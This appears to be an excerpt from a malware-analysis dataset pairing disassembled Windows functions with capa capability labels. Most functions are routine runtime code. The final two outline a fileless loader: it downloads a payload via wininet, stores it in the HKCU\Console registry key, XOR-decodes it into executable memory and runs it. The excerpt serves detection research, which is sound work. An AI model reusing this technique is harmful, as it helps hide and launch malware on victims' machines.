joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc544500
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc5455e0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc544f02
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc567108]
test eax, eax
je 0x2fc544f9a
lea rax, [0x2fc5670e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc567110]
mov qword [rbp - 8], rax
jmp 0x2fc544f7e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc544f72
cmp qword [rbp - 0x10], 0
je 0x2fc544f72
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc544f38
lea rax, [0x2fc5670e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc544f9b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc5450a0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc5450c8
mov eax, 0
jmp 0x2fc545116
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc5450f1
mov eax, 0
jmp 0x2fc545116
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc545111
mov eax, 0
jmp 0x2fc545116
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc54511c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc54519a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc545191
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc545191
mov rax, qword [rbp - 8]
jmp 0x2fc5451af
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc545164
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc538d20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc539e00
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc539722
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc55c108]
test eax, eax
je 0x2fc5397ba
lea rax, [0x2fc55c0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc55c110]
mov qword [rbp - 8], rax
jmp 0x2fc53979e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc539792
cmp qword [rbp - 0x10], 0
je 0x2fc539792
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc539758
lea rax, [0x2fc55c0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc5397bb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc5398c0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc5398e8
mov eax, 0
jmp 0x2fc539936
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc539911
mov eax, 0
jmp 0x2fc539936
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc539931
mov eax, 0
jmp 0x2fc539936
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc53993c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc5399ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc5399b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc5399b1
mov rax, qword [rbp - 8]
jmp 0x2fc5399cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc539984
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d68b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d7990
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d72b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f9108]
test eax, eax
je 0x2fc4d734a
lea rax, [0x2fc4f90e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f9110]
mov qword [rbp - 8], rax
jmp 0x2fc4d732e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d7322
cmp qword [rbp - 0x10], 0
je 0x2fc4d7322
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d72e8
lea rax, [0x2fc4f90e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d734b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d7450
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d7478
mov eax, 0
jmp 0x2fc4d74c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d74a1
mov eax, 0
jmp 0x2fc4d74c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d74c1
mov eax, 0
jmp 0x2fc4d74c6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d74cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d754a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d7541
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d7541
mov rax, qword [rbp - 8]
jmp 0x2fc4d755f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d7514
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x4021ee
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x4022a8
jmp 0x40222b
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x40220d
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x4022a3
jmp 0x402251
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x402233
mov rax, qword [rbp + 0x18]
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
add rax, rcx
mov ecx, dword [rbp + 0x10]
shl ecx, 2
shl ecx, 2
movzx edx, byte [rbp - 1]
shl edx, 2
add ecx, edx
movzx edx, byte [rbp - 2]
add ecx, edx
movsxd rcx, ecx
mov rdx, qword [rbp + 0x20]
add rdx, rcx
movzx ecx, byte [rax]
mov qword [rbp - 0x10], rax
movzx eax, byte [rdx]
xor ecx, eax
mov rax, qword [rbp - 0x10]
mov byte [rax], cl
jmp 0x402245
jmp 0x40221f
leave
ret

Function at 0x4021f9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x4022a8
jmp 0x40222b
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x40220d
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x4022a3
jmp 0x402251
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x402233
mov rax, qword [rbp + 0x18]
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
add rax, rcx
mov ecx, dword [rbp + 0x10]
shl ecx, 2
shl ecx, 2
movzx edx, byte [rbp - 1]
shl edx, 2
add ecx, edx
movzx edx, byte [rbp - 2]
add ecx, edx
movsxd rcx, ecx
mov rdx, qword [rbp + 0x20]
add rdx, rcx
movzx ecx, byte [rax]
mov qword [rbp - 0x10], rax
movzx eax, byte [rdx]
xor ecx, eax
mov rax, qword [rbp - 0x10]
mov byte [rax], cl
jmp 0x402245
jmp 0x40221f
leave
ret

Function at 0x4022aa
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x402359
jmp 0x4022df
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x4022c1
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x402354
jmp 0x402305
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x4022e7
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, str.cw
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x4022f9
jmp 0x4022d3
leave
ret
Function at 0x4022b5
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x402359
jmp 0x4022df
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x4022c1
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x402354
jmp 0x402305
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x4022e7
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, str.cw
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x4022f9
jmp 0x4022d3
leave
ret

Function at 0x403628
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x4036d7
jmp 0x40365d
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x40363f
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x4036d2
jmp 0x403683
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x403665
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, [0x00413936]
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x403677
jmp 0x403651
leave
ret

Function at 0x403633
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x4036d7
jmp 0x40365d
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x40363f
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x4036d2
jmp 0x403683
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x403665
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, [0x00413936]
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x403677
jmp 0x403651
leave
ret
Function at 0x403a37
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 0x20
jge 0x403aa0
jmp 0x403a70
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x403a52
movzx eax, byte [rbp - 1]
movsxd rax, eax
mov rcx, qword [rbp + 0x10]
add rcx, rax
movzx eax, byte [rbp - 1]
movsxd rax, eax
mov rdx, qword [rbp + 0x18]
add rdx, rax
movzx eax, byte [rcx]
mov qword [rbp - 0x10], rcx
movzx ecx, byte [rdx]
xor eax, ecx
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
jmp 0x403a64
leave
ret

Function at 0x403a42
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 0x20
jge 0x403aa0
jmp 0x403a70
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x403a52
movzx eax, byte [rbp - 1]
movsxd rax, eax
mov rcx, qword [rbp + 0x10]
add rcx, rax
movzx eax, byte [rbp - 1]
movsxd rax, eax
mov rdx, qword [rbp + 0x18]
add rdx, rax
movzx eax, byte [rcx]
mov qword [rbp - 0x10], rcx
movzx ecx, byte [rdx]
xor eax, ecx
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
jmp 0x403a64
leave
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14000b058]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [0x140009530]
mov ecx, 0x3e8
mov qword [rsp + 0x50], rax
movzx eax, word [0x140009538]
mov word [rsp + 0x58], ax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x38]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor ebp, ebp
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x30], ebp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x30]
call fcn.140001528
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x50]
mov rdi, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x30]
call fcn.140001528
mov ebx, dword [rsp + 0x30]
mov rsi, rax
test ebx, ebx
je 0x140001107
mov r8, rax
sub rdi, rax
mov rdx, rax
neg r8
nop dword [rax]
movzx eax, byte [rdi + rdx]
inc rdx
mov byte [rdx - 1], al
mov ebx, dword [rsp + 0x30]
lea rcx, [r8 + rdx]
cmp rcx, rbx
jb 0x1400010f0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r11d, ebp
mov r8, rbp
test ebx, ebx
je 0x140001182
mov r9, rsi
lea r10, str.hrsgdsb
movsx ecx, byte [r8 + r10]
inc r8
mov eax, 0x4ac525d3
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r11d
add cl, 0x4f
xor byte [r9], cl
add edx, r11d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r11d, edx
cmove r8, rbp
inc r11d
inc r9
cmp r11d, ebx
jb 0x140001131
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.140004560
lea r9, [rsp + 0x48]
lea rcx, [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x40], rbp
call qword [sym.imp.KERNEL32.dll_InitOnceExecuteOnce]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001540
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400011f0
Capabilities:
Set registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x70
mov rbp, rcx
mov ecx, 0x64000
call fcn.140001528
lea rcx, str.wininet.dll
mov dword [rsp + 0x98], 1
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
jne 0x140001238
mov rcx, rdi
call fcn.140001560
add rsp, 0x70
pop rdi
pop rbp
pop rbx
ret
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x68], r12
lea rdx, str.InternetOpenW
mov rcx, rax
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetOpenUrlW
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetReadFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetCloseHandle
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test r12, r12
je 0x14000145a
test rsi, rsi
je 0x14000145a
test r14, r14
je 0x14000145a
test rax, rax
je 0x14000145a
mov qword [rsp + 0x50], r15
lea rcx, str.RookIE_1.0
xor r15d, r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r15d
call r12
mov r12, rax
test rax, rax
je 0x14000144b
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
call rsi
mov rbp, rax
test rax, rax
je 0x140001445
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0xa0]
lea rdx, str.Console
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r15d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000143f
mov ebx, r15d
mov esi, r15d
cmp dword [rsp + 0x98], ebx
jbe 0x14000140a
nop word [rax + rax]
mov r8d, 0x64000
mov edx, ebx
lea r9, [rsp + 0x98]
sub r8d, ebx
add rdx, rdi
mov rcx, rbp
call r14
mov r11d, dword [rsp + 0x98]
test r11d, r11d
je 0x1400013dd
add ebx, r11d
cmp ebx, 0x64000
jne 0x1400013d8
mov rcx, qword [rsp + 0xa0]
lea rdx, [0x1400095e0]
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r11d, dword [rsp + 0x98]
add esi, ebx
mov ebx, r15d
test r11d, r11d
jne 0x140001370
test ebx, ebx
je 0x14000140a
mov rcx, qword [rsp + 0xa0]
lea rdx, [0x1400095e0]
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add esi, ebx
mov rcx, qword [rsp + 0xa0]
lea rdx, [0x1400095e0]
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbp
call r13
mov rcx, r12
call r13
mov rcx, rdi
call fcn.140001560
mov r15, qword [rsp + 0x50]
jmp 0x14000146b
mov rcx, rbx
